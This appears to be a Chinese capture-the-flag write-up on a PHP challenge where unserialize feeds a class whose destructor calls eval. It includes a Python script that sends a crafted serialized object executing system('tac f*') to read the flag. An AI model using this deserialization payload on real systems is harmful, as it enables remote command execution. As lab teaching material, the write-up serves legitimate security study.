Polar Web【简单】php very nice
Contents
- Polar Web【简单】php very nice
- 思路
- EXP
- 运行&总结
思路
打开网页源代码,由下图的代码,可见本题涉及到反序列化以及变量覆盖。
因此考虑传递GET
参数a
来构造序列字符串。
- 由上图中的代码,在Example类中定义了一个
public
成员变量,并在魔术函数__destruct
中调用了敏感函数eval
- 此外,出现了反序列化函数
unserialize
的调用,传入GET
参数a
- 综合上述情况,考虑通过构造参数Payload来覆盖成员变量的值,触发命令执行,获取flag
EXP
import requests
def attack(url, payload):
url += payload
res = (requests.get(url).content.decode('utf8'))
print(res[res.rindex('flag'):res.rindex(';') - 1])
if __name__ == '__main__':
site = 'http://~.www.polarctf.com:8090/'
# 构造需要反序列化的字符串 —— 旨在覆盖变量值 -> 指令
pl = '?a=O:7:"Example":1:{s:3:"sys";s:17:"system(\'tac f*\');";}'
attack(site, pl)
运行&总结
- 本题考查重点是构造反序列化用的序列字符串,以达到变量覆盖,触发命令执行的目的。